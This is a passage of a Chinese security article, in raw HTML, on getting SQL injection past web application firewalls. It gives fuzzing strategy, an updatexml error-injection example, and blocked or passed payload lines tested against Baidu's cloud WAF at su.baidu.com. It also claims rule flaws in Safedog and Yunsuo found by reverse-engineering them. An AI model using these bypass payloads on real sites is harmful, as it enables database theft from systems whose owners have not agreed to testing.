&#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><code style="font-size: 1em;display: inline-block;margin-right: 5px;margin-left: 5px;padding-right: 5px;padding-left: 5px;background-color: rgb(247, 248, 248);font-family: Menlo, Consolas, monospace !important;">这部分内容是本文的核心部分，在我看来是文章的灵魂吧，除了技巧方法外，还有一些思想指导，waf绕过技术不同于一般的技术思考方向至关重要，有些技巧大部分人可能都已经掌握了但真正给一款waf摆在面前，能突破防御的怕是少之有少。该技术是一个比较大比较复杂的范畴，参数污染、畸形请求包、chunk分割、编码解码等方法林林总总，这些都是老生常谈的东西适用一定的条件、场合，普适性不强，所以这方面内容本文不会涉及，我们要和waf这只老虎来个正面较量，相信会给大家带来惊喜和收益。</code></p><h3 style="margin-top: 1.4em;margin-bottom: 1.1em;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;white-space: normal;text-size-adjust: auto;"><strong>2.2.1 目标</strong></h3><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><code style="font-size: 1em;display: inline-block;margin-right: 5px;margin-left: 5px;padding-right: 5px;padding-left: 5px;background-color: rgb(247, 248, 248);font-family: Menlo, Consolas, monospace !important;">做任何事情都要有个目标，没有目标或目标不明确给你一身好装备和本事也难成事。SQL注入漏洞能利用成功的判断依据就是可以dump数据，对于后端DATABASE【SELECT col FORM table】用来查询数据的基本语句，该语句的成功执行是可以dump数据的必要条件，当然也是各个厂家安全产品重点照顾的对象，绕过对该语句的拦截自然就是我们的目标，平时进行绕过测试的时候也会关注【UNION SELECT】、【ORDER BY】等语句，这些可以当成我们的次要目标，不是说他们的绕过不重要，而是不依靠这些语句仅仅通过【SELECT col FORM table】照样可以dump数据，非必要充分条件吧，结合笔者经验和思考基本可以明确我们的目标：</code></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;">1.主要目标：绕过【SELECT col FORM table】语句拦截<br/>2.次要目标：绕过【UNION SELECT】语句拦截</p><h3 style="margin-top: 1.4em;margin-bottom: 1.1em;white-space: normal;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;text-size-adjust: auto;"><strong>2.2.2 战略</strong></h3><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><img data-ratio="0.6763110307414105" style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;border-style: none;padding-top: 0.5em;padding-bottom: 0.5em;" data-type="png" data-w="553" src="https://wechat2rss.xlab.app/img-proxy/?k=74c1bba5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQ5zc1H8psZfkXaKjjmYvQVIlgibw99CPv7hIxEaziaAOMkYiaHQ9Ny7QmQ%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><code style="font-size: 1em;display: inline-block;margin-right: 5px;margin-left: 5px;padding-right: 5px;padding-left: 5px;background-color: rgb(247, 248, 248);font-family: Menlo, Consolas, monospace !important;">SQL注入根据分类方法不同可分为不同的类型，从SQL注入漏洞利用角度来说，一般有五种注入利用方法，分别是报错注入、联合查询注入、布尔盲注、延时注入、堆查询注入。无论那种注入方式，利用payload都可以分为两部分构成，对应的利用语句（BOUNDARY）和基本查询(QUERY)比如报错注入语句：【updatexml(1,(select concat(0x7e,user,0x7e) from mysql.user limit 1),1)】蓝色圈起来的报错语句就是BOUNDARY，红色圈起来的部分就是QUERY,也是我们需要绕过的主要目标。</code></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.06990434142752024" data-s="300,640" style="" data-type="png" data-w="1359" src="https://wechat2rss.xlab.app/img-proxy/?k=888bac3f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQ3ic3uTAuFiakqk2JialY9Ham8w9EVeVy16KpvWicf3kvIkUibjIQcmexSLg%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><code style="font-size: 1em;display: inline-block;margin-right: 5px;margin-left: 5px;padding-right: 5px;padding-left: 5px;background-color: rgb(247, 248, 248);font-family: Menlo, Consolas, monospace !important;">尝试测试的时候，可以使用控制变量法进行测试，比如测试QUERY，可以把BOUNDARY填充为无害字符串，反过来也一样，最后再结合一起验证测试。</code><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><code style="font-size: 1em;display: inline-block;margin-right: 5px;margin-left: 5px;padding-right: 5px;padding-left: 5px;background-color: rgb(247, 248, 248);font-family: Menlo, Consolas, monospace !important;">WAF有硬件WAF、软件WAF、基于云的WAF，根据WAF种类不同需要制定不同的测试方案。对于硬件WAF和基于云的WAF由于条件所限一般从业者接触不到只能从黑盒的角度进行测试，但是对于像安全狗、云锁之类的软件WAF，他的规则本身就集成在软件里面，那么就可以先利用逆向技术手段获取到防御规则进行白盒审计，之后再通过黑盒测试方法进行测试，以我多年的安全行业经验和观察，具备开发能力的安全从业者并不是太多，同时具备这两项能力的顶尖安全人员更是凤毛菱角何况都分散在在全国不同的公司，有理由相信之类软件的防护规则一定会有疏漏，再说绝对的安全并不存在也是业内共识，所以对于软件类的WAF能拿到规则就尽量获取到规则进行审计（这里透漏一下安全狗防护规则存在缺陷，原则上针对所有数据库的防护都可以绕过，笔者测试了MYSQL\ORACLE\MSSQL）。</code></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.6102992345163535" data-s="300,640" style="" data-type="png" data-w="1437" src="https://wechat2rss.xlab.app/img-proxy/?k=ac9076a0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQZtoCTT0DgBurbOcwKMD9ia0SH7nEhsR5372Wrv0ARaHB5mYyBoRwokQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><code style="font-size: 1em;display: inline-block;margin-right: 5px;margin-left: 5px;padding-right: 5px;padding-left: 5px;background-color: rgb(247, 248, 248);font-family: Menlo, Consolas, monospace !important;">对于【SELECT col FROM table】、【UNION SELECT】语句，分别在每个关键字前后设置FUZZ位置进行绕过尝试，首先在本地FUZZ测试出能够正常执行的语句，然后提交到目标站点进行测试，有些时候可能本地FUZZ的那些payload都会被拦截，但结合注释、空白字符、括号、引号、别名等其他功能特性就可以绕过，而这一部分目前来看没有通用测试方法，只能针对某一特定的waf手动测试，测试的时候可以先忽视语法的正确性，确保整个语句结构能够绕过防护，例如【SELECT col FROM table】语句的绕过测试，可以在SELECT、FROM 关键子前后填充任意字符，整个语句结构能够绕过之后，我们再想办法构造出正常可以执行的语句，这两个语句必有结构相似性，构造的正常SQL 语句很可能会被拦截也在情理之中，接下来就要使用增删法对结构不同部分进行增删处理，确定是某个字符或某个子结构触发了拦截，既然确定了黑字符和结构就需要寻找白字符进替换代替，这个过程可能需要来来回回的测试，花费时间数量级由测试者研究SQL语法熟练度和深浅度决定，其实也不是太难，以我对阿里云的绕过测试来看，从绕过【SELECT col FROM table】结构到构造出能够正常出数据的语句所花费的时间大概在三个小时左右，数量级还是可以接受，当然也有运气成分在里面，在对亚马逊云的测试过程中就遇到了很大的障碍，最后虽然通过别的绕过方法拿到目标站点的数据，但与本文所说的策略方法没有半点关系。</code></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><code style="font-size: 1em;display: inline-block;margin-right: 5px;margin-left: 5px;padding-right: 5px;padding-left: 5px;background-color: rgb(247, 248, 248);font-family: Menlo, Consolas, monospace !important;">前面提到了在关键字前后填充字符，这里也讲求一个方法，不是说用你收集的tricks一一尝试，如此测试的话那几乎和FUZZ没有区别，而且很难达到目标，至于如何操作且听下文分解。</code></p><h3 style="margin-top: 1.4em;margin-bottom: 1.1em;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;white-space: normal;text-size-adjust: auto;"><strong>2.2.3 实战</strong></h3><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;">该小节依据上文战略思想，以真实案例来推演整个绕过过程。<br/>目标：<a href="https://su.baidu.com/" target="_blank">https://su.baidu.com/</a><br/>1.本地FUZZ PAYLOAD<br/>2.关键字前后填充字符测试<br/>3.构造正确的绕过PAYLOAD</p><ul style="border-radius: 3px;margin-top: 1em;margin-bottom: 1em;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;" class="list-paddingleft-2"><li><p><span style="font-weight: bolder;">本地FUZZ PAYLOAD</span><br/>FUZZ 字符除了【0-255】全字符外，也可以添加自己收集的一些tricks进行FUZZ<br/>{FUZZ}UNION SELECT fuzz的一些结果</p></li></ul><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><img data-ratio="1.7552742616033756" style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;border-style: none;padding-top: 0.5em;padding-bottom: 0.5em;" data-type="png" data-w="237" src="https://wechat2rss.xlab.app/img-proxy/?k=9028bc53&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQ0QcWsicxwYZgj98eJ8ZuQIYhibibHkPWXiaNiczHwotwCQDrF2ogdOFROvQ%2F640%3Fwx_fmt%3Dpng"/><br/></p><ul style="border-radius: 3px;margin-top: 1em;margin-bottom: 1em;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;" class="list-paddingleft-2"><li><p><span style="font-weight: bolder;">关键字前后填充字符测试</span></p></li></ul><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><img data-ratio="0.6311030741410488" data-w="553" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=d271cd60&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQ265YJ8zsZ7EDJLT4lc53diaicsq64epNkYIGrBfj1hFicvGuOFgESMTsA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;">UNION SELECT 绕过尝试<br/>id=1 xor xx<span style="font-weight: bolder;">union select</span>xx 拦截<br/>id=1 xor xx<span style="font-weight: bolder;">union</span>xx<span style="font-weight: bolder;">select</span>xx 不拦截<br/>id=1 xor <span style="font-weight: bolder;">union(select</span> 不拦截<br/>id=1 xor <span style="font-weight: bolder;">union(select)</span> 拦截<br/>id=1 xor <span style="font-weight: bolder;">union</span> dd<span style="font-weight: bolder;">(select)</span> 不拦截<br/>SELET FROM 绕过测试<br/>id=1 xor s(<span style="font-weight: bolder;">select</span> xx<span style="font-weight: bolder;">from</span> xx) 拦截<br/>id=1 xor s(<span style="font-weight: bolder;">select</span> xx <span style="font-weight: bolder;">from</span>b xx) 不拦截<br/>id=1 xor s(<span style="font-weight: bolder;">select</span> xx <span style="font-weight: bolder;">from</span>xx)拦截<br/>id=1 xor s(<span style="font-weight: bolder;">select</span>@a <span style="font-weight: bolder;">from</span> xx) 拦截<br/>id=1 xor s(<span style="font-weight: bolder;">select</span>@as<span style="font-weight: bolder;">from</span> xx) 不拦截<br/>通过以上测试把union select from 结合在一起并不拦截<br/><a href="https://su.baidu.com/plan.html?id=1 xor" target="_blank">https://su.baidu.com/plan.html?id=1 xor</a> union dd(select@ \Nfrom xx) </p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><img data-ratio="0.5613718411552346" style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;border-style: none;padding-top: 0.5em;padding-bottom: 0.5em;" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=1b60a779&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQCO35DoGdcm1ndWnfbQb0fq2icRiaCiaIkl7TxPYeqibBscl1o7F8SAD0aA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;">看来成功不远了，接下来构造出正确的SQL语句，发现会被拦截</p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><img data-ratio="0.6913357400722022" style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;border-style: none;padding-top: 0.5em;padding-bottom: 0.5em;" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=1da234ea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQQl5WXPKOsM9dGInwUXIRrWWHdGbTDF3440f9IiaCSxoBNB5F6ElTibxw%2F640%3Fwx_fmt%3Dpng"/><br/></p><ul style="border-radius: 3px;margin-top: 1em;margin-bottom: 1em;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;" class="list-paddingleft-2"><li><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;"><span style="font-weight: bolder;">构造正确的绕过PAYLOAD</span></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">这一步就是构造一个既能绕过WAF防御也能正确执行的SQL PAYLOAD</p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">首先在union前面添加我们fuzz的.1字符，不拦截，这就是一个完全绕过payload，百度云加速防护能力相对来说偏弱一些，绕过花费不了太多时间。</p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;"><img data-ratio="0.5541516245487365" style="border-style: none;padding-top: 0.5em;padding-bottom: 0.5em;" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=31b100fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQLhvhOK1eQYtD5yTFT9jeqMtuoagwGoTA02jZg800anQLic2WSTVvAJw%2F640%3Fwx_fmt%3Dpng"/><br/></p><p><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;"><img data-ratio="0.30198915009041594" style="border-style: none;padding-top: 0.5em;padding-bottom: 0.5em;" data-type="png" data-w="553" src="https://wechat2rss.xlab.app/img-proxy/?k=263141b7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQpMaCOLCjcnKe01GaCB7cxCd5fJ7GvSGGRsNUKPdPUib6XqCRmNtGhlQ%2F640%3Fwx_fmt%3Dpng"/><br/></p><p><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">对于SQL注入漏洞利用，有些场合需要用到盲注，盲注当然离不开SQL API的，里面一些常用的函数也会成为WAF照顾的对象，我们可以在函数名前后添加一些特殊字符或注释进行绕过</p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;"><img data-ratio="0.49097472924187724" style="border-style: none;padding-top: 0.5em;padding-bottom: 0.5em;" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=d11f7849&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQYZA7zwUic1F0NdcKfvHP5WqFIYR6VDQFl93X9RYeiaN7J8VabQUKicRoA%2F640%3Fwx_fmt%3Dpng"/><br/></p><p><img data-ratio="0.5415162454873647" style="border-style: none;padding-top: 0.5em;padding-bottom: 0.5em;" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=41b9fd9b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQdZfrq9pTf8Sq2C5LSEEUIZfaN2GBINU7afq7AInhJia9OYur8FibYU8w%2F640%3Fwx_fmt%3Dpng"/><br/></p><p><br/></p></li></ul><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><code style="font-size: 1em;display: inline-block;margin-right: 5px;margin-left: 5px;padding-right: 5px;padding-left: 5px;background-color: rgb(247, 248, 248);font-family: Menlo, Consolas, monospace !important;">对于安全狗和云锁之类的软件，规则本身集成在软件里面，在具备一定的逆向能力的话可以优先考虑逆向获取到规则进行绕过。在安全狗逆向过程中发现可以利用HOOK API获取规则而不需要完全逆向解密算法进行规则解密，正好大学时期研究过win32下的各种HOOK技术，翻出旧代码稍加修改改就能派上用场还是比较满意；云锁是用C#编写没有经过混淆，逆向算法非常简单各位师傅可以自行尝试。对这两种软件类WAF的规则进行审计发现实现都存在缺陷，对各种数据库类型的注入应该都可以绕过，篇幅所限不一一展开细说了，绕过payload参考后文。</code></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><img data-ratio="0.5293005671077504" style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;border-style: none;padding-top: 0.5em;padding-bottom: 0.5em;" data-type="png" data-w="2116" src="https://wechat2rss.xlab.app/img-proxy/?k=1341b9e2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQqxXTicxCuc3KgyVndxtXFY2tKWF32GhqzxvmR1uL3yz7vdCBicaVWsMQ%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.41469489414694893" data-s="300,640" style="" data-type="png" data-w="1606" src="https://wechat2rss.xlab.app/img-proxy/?k=e1d0539e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQBLFQonKcdzdCo1oRVDiamMHBNibOXMeicYiaTxKibOl1OIozwOZ2yEmHWWA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><img data-ratio="0.3264311814859927" style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;border-style: none;padding-top: 0.5em;padding-bottom: 0.5em;" data-type="png" data-w="1642" src="https://wechat2rss.xlab.app/img-proxy/?k=51fea263&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQaO2AAjOVyAuIRs1H4gBsdq1dNIuTibejUruj3uynG4RaicjveI84wz7g%2F640%3Fwx_fmt%3Dpng"/><br/></p><h2 style="margin-top: 1.4em;margin-bottom: 1.1em;border-bottom: 1px solid rgb(238, 238, 238);overflow: hidden;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;white-space: normal;text-size-adjust: auto;"><strong>2.3 新花</strong></h2><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, 